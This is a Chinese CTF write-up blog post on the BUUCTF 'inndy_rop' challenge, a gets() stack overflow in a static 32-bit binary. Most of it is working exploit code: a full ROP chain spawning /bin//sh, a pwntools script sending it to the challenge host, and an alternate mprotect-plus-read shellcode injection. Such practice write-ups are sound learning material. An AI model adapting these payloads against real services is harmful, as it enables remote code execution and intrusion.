buuctf:inndy_rop 1
本文最后更新于123 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.分析

先checksec:

应该比较简单,去ida里看看:

main函数主要时调用overflow

overflow:
int overflow()
{
  char v1; // [sp+Ch] [bp-Ch]@1

  return gets(&v1);
}


其他啥也没有,函数一大堆,应该是静态编译,ret2libc就不用考虑了,传shellcode的话开了堆栈不可执行,用rop链试试。

2.实操

上面确定了溢出的量,现在需要一条rop链:

之前使用过的:ROPgadget –binary rop –ropchain

p = b''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80


然后加上溢出直接使用:

from pwn import *
from struct import pack#特别主意!
context.log_level="debug"
io=remote("node5.buuoj.cn",29923)

p = b'a'*(0xc+4)

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)
io.interactive()

3.另一种做法

看到这道题其实感觉可以用shellcode,之前遇到过mprotect函数嘛,来试试。

由于要设置参数,其实就根据函数原型来填参数:int mprotect(const void *start, size_t len, int prot)

需要设置三个参数,第一个是地址,第二个是大小,第三个设置权限。

第一个参数是修改保护区域的起始地址,有一个要求,是内存页的起始地址

用gdb看看吧,ida里实在是太乱,在main函数下断点:

刚好就选0x80e9000(0x1000的倍数),那么第二个参数就设成0x200,第三个参数取7。

用什么把shellcode写进去呢,可以用read函数,一样的看一下原型:

ssize_t read(int fd, void *buf, size_t count);

fd我们设成0

第二个参数就是我们的修改权限的起始位置,我们向里面写入shellcode长度的数据。


4.再来试试

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28352)

#elf=ELF("./rop")
#main=elf.sym['main']
main=0x8048894#这个打不通就用上面的
mprotect=0x806DDA0
addr=0x80e9000
read=0x806D290
payload=b'a'*(0xc+4)+p32(mprotect)+p32(main)+p32(addr)+p32(0x2000)+p32(0x7)
p.sendline(payload)

shellcode=asm(shellcraft.sh())
payload=b'a'*(0xc+4)+p32(read)+p32(addr+0x1000)+p32(0)+p32(addr+0x1000)+p32(len(shellcode))
p.sendline(payload)
p.sendline(shellcode)
p.interactive()


兜兜转转总算出了哈哈


继续学习ing......

评论

  1. APWN
    Windows Chrome
    2 月前
    2025-9-09 14:29:36

    大佬好强!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇